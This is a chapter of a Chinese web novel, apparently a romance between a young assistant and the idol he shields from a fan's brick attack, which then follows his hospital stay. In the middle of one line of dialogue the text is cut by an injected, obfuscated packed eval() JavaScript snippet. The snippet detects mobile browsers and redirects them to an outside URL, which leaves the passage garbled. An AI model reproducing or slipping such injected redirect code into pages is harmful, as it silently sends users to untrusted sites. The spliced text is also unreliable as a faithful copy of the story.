“开门!”方唯安又说,后座的几个师姐纷纷起身,过来劝他冷静点。 方唯安坚持:“开门,拜托了。” 这次,司机终于按开了门,方唯安跑了下去。 所幸车停在路边,跟粉丝群之间隔着一条隔离带,前方并无太多阻碍。 只看到他上了车就行,方唯安想着,他可以待在车后,只要看到奚沧顺利上车了就行。 越来越接近了,方唯安看到奚沧在一对保安的护送下钻出人群,回过身朝呼喊着他的名字的粉丝招手。 旋即,有人从人群中冲了出来,错开保安的位置,朝奚沧奔去。 没有一丝犹豫,方唯安加速朝奚沧跑去,扑在他身上。 起初,头上热热的,然后他开始睁不开眼睛,奚沧的声音忽远忽近,叫着他的名字。 “方唯安……方唯安……” 方唯安用力眨眼,才发现睫毛上沾了点血,可还是没感觉到疼。 他大概真的很迟钝吧,痛觉都是迟钝的。 或者他真的很开心,这次他终于保护了想要保护的人。 22.第 22 章 今日是裙裙国王和奚沧王后的结婚盛典,裙裙国的所有子民都穿着精美的华服前来观礼。 这么重要的日子,裙裙国王自然也换上了最喜欢的那条裙子。 制式有点复杂,光内衬就有九层,全部穿好后,裙裙国王要很努力地保持平衡,才不会被自己的裙子给拽倒。 他喜气洋洋地来到了婚礼现场,只见奚沧王后昂起高贵的头颅,“不嫁。” 裙裙国王的心跳骤停,很失落地问,“为什么啊?” “我想要金银珠宝,你有吗?”奚沧王后问。 “没有。”裙裙国王摇头。 奚沧王后又问:“我还想要最矫健的骏马和富丽堂皇的宫殿,你有吗?” “没有。”裙裙国王还是摇头。 “那你有什么?” 裙裙国王想了想,“我有好多好多漂亮的裙子,这是我们王国最重要的东西了!” 奚沧王后微微一笑,“我要你的裙子干嘛,我又不喜欢……” 方唯安睁开了眼睛。 鼻腔里都是消毒水味,他看看白花花的天花板,然后视线稍移,看看坐在他病床旁边的脸很臭的奚沧。 “醒了?”奚沧站起来,按动他床头的呼叫铃,面色如铁,“渴不渴?” 方唯安叼着递到他嘴边的吸管,喝了两口水,左眼角有块白白的东西挡着他的视线,他抬起手,想要拨开。 “别乱动,那是纱布。” 奚沧一把握住他的手,手劲儿很大,方唯安皱着眉,小声喊:“痛痛痛……” 奚沧把他的手扔回被子里。 方唯安刚想问问自己是怎么来这儿的,到底受了多重的伤,医生就走进病房,掰开他的眼皮,给他做基本检查。 “目前没什么异常,不过还是建议你多留院观察几天,频繁脑震荡的隐患可是很大的,”医生将注射器调快一些,看向方唯安,“有头疼或心悸吗?” 头疼没有,心悸倒是有一些…… 方唯安可怜巴巴地看向奚沧。 “医生问你呢。”奚沧提醒他,眉目间还是难掩怒气。 方唯安回神,“没,没有。” “那就好,这两天先让护士帮你换药贴纱布;日常清洁就用生理盐水擦擦就行,擦得时候不要让伤口碰到水。”医生嘱咐。 “医生,”方唯安忍不住问,“我的伤口很严重吗,会毁容吗?” “没有那么夸张,”医生熨帖地笑,“不过以后见义勇为也要量力而行哦,你这次伤在额角,再偏上几寸,就伤到眼睛了。” 检查完毕,奚沧将医生送出病房,关上门大步走回来。 方唯安往被子里缩了缩,仿佛能看到奚沧周身熊熊燃烧的怒火。 “奚哥……”方唯安小声叫他,“刚才医生没正面回答我,我的伤口会留疤吗?” 奚沧在他床边的椅子上坐下,没听到一样,打开手机处理工作。 方唯安又叫了几声“奚哥”,他奚哥通通忽略,脸色越来越难看了。 “对不起嘛,别跟我生气了,”方唯安把手伸出被子,在空气中抓了抓,“我当时根本没来得及想那么多,就想着不让你受伤……” 奚沧抬起头,他们对上视线,奚沧的眼睛里都是红血丝,还有一种很浓郁的情绪藏在怒气里面,方唯安看不懂那是什么。 “别说话了,好好躺着。”将方唯安的床头调低,强迫他平躺。 方唯安只能看到白得单调的天花板,没多久就又睡着了。 . 再苏醒是下午,太阳已经移出他的窗口,室内有些阴冷。 “唯安,感觉好些了吗?” 迷迷糊糊地辨别了几秒,这个声音竟然来自桂桂老师! 方唯安惊恐地想要坐起来,被桂桂老师和师姐压回去,“最近大家都忙,轮班照顾你,你安心躺着。” 师姐往他手里塞了个手持镜,“说是只是破皮,没有缝针,后续好好抹药的话就不会留疤的,算你小子走运!” 师姐果然是师姐,女孩子就是很体贴,一张嘴就是他最想听的话。 怀抱着一颗感恩的心,方唯安端起镜子观察,贴着纱布的自己也太丑了! 不过没有想象中邋遢,他的脸还是干干净净的,沾在睫毛上的血渍也都被弄掉了,好像有人很精心地清理过一样。 桂桂老师笑呵呵道:“唯安,你这次也算立功了。既保护了自己的偶像,还让电视台高层都对你刮目相看了!” 师姐正削着苹果,闻言也乐了,“对啊,人家还问我你和奚沧是什么关系,至于替他挡砖头,但我一说他是你偶像,大家就懂了。” “就是小奚好像挺自责的,抱着你上了救护车,谁劝都不松手。”桂桂老师回忆。 两个人你一眼我一语地复述了方唯安晕倒后的事情,听得当事人心惊肉跳,迟钝得感觉后怕。 砸伤方唯安的那个人是某个淘汰选手的粉丝,之前在电视台的官微下面发表了很多过激言论,被官微举报拉黑,全站禁言七天。 那人气不过,拎了块砖头过来讨说法。没想到被现场被堵得水泄不通,情绪上涌之际,他看到了奚沧,自然而然地将他视作电视台和资本的代表,就挥砖相向了。 “唉,反正因为这件事,电视台决定调整赛制和录制方式,咱们就能清闲两天,稍微喘口气,之前太忙了!”桂桂老师拍拍方唯安的手背,“你别操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790104|157267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心工作,这两天先好好养伤,伤好了随时回来。” 探病时间结束,桂桂老师和师姐也走了,病房重归宁静。 方唯安从床头柜的抽屉里找到了自己的手机,发现这期间很多人都发来了慰问,有店长,有杰妮芙,有阿静。 桂桂老师早先问他有没有什么想吃的,他没回,于是收到了新鲜水果和鲜花。 方唯安翻了翻工作群,尽管选秀节目暂停,奚沧的日程依旧满满当当。 单是这天下午,奚沧就有四个行程。 方唯安给奚沧发了个穿裙子的小熊转圈圈的表情,说自己醒了,再也睡不着了,等了好久奚沧都没回。 他攥着手机躺了一会儿,眼皮越来越沉,紧紧阖上。 不知睡了多久,朦胧间窗外已经暗了下去,方唯安闭着眼睛,感觉脸颊一阵阵发痒,有什么东西轻轻在搔。 又躺了一阵,他发觉那应该是谁的手指,待他睁开眼的时候,只看到奚沧又坐在他床边,低着头刷手机。 方唯安的视线有限,看不清奚沧现在的表情,只知道对方打开了一条视频,发音标准的女声正在报道昨天场馆外的恶意袭击事件。 “方唯安,醒了就出声,别装睡了。”奚沧突然说。 “哦。”方唯安悻悻转了转眼珠,奚沧将他的床头抬高了一些。 方唯安发现奚沧今天又把赞助商借他的衣服穿出来了。 “饿不饿?”奚沧问。 “不饿,下午吃了好多水果,”方唯安献宝一般,谄媚道,“奚沧,你尝尝那个草莓,又红又甜,我好久没、” “唔——” 唇舌被猛地攫住,挤压,方唯安的脸被两只冰凉的手握得几乎变形。 比起亲吻,更像在泄愤,奚沧咬着他的舌尖,方唯安呼痛,又感觉有涎水滴在他的手背。 好像,也不是涎水。 方唯安这才发觉,奚沧整个人都在发抖,牙关死死衔着他的唇舌,好像这样才能证明他的存在。 “疼……”方唯安小声说。 “疼就对了。” 奚沧突然咬破了自己的舌头,方唯安的整个口腔都是铁锈味,他不安地挣了挣胳膊,想要看看奚沧。 僵持一阵,奚沧终于卸下力气,反手扣住方唯安的眼睛。 眼前一片黑暗,方唯安听到奚沧吸了几下鼻子,平稳着呼吸,“方唯安,再做这种蠢事,咱们俩就彻底分手,这辈子都别再见了。” 方唯安愣愣地坐着,反应了两秒,大脑开始飞速运转。 等等,分手? 彻底分手? 可是,要分手不是得先恋爱吗? 他们俩什么时候谈的恋爱?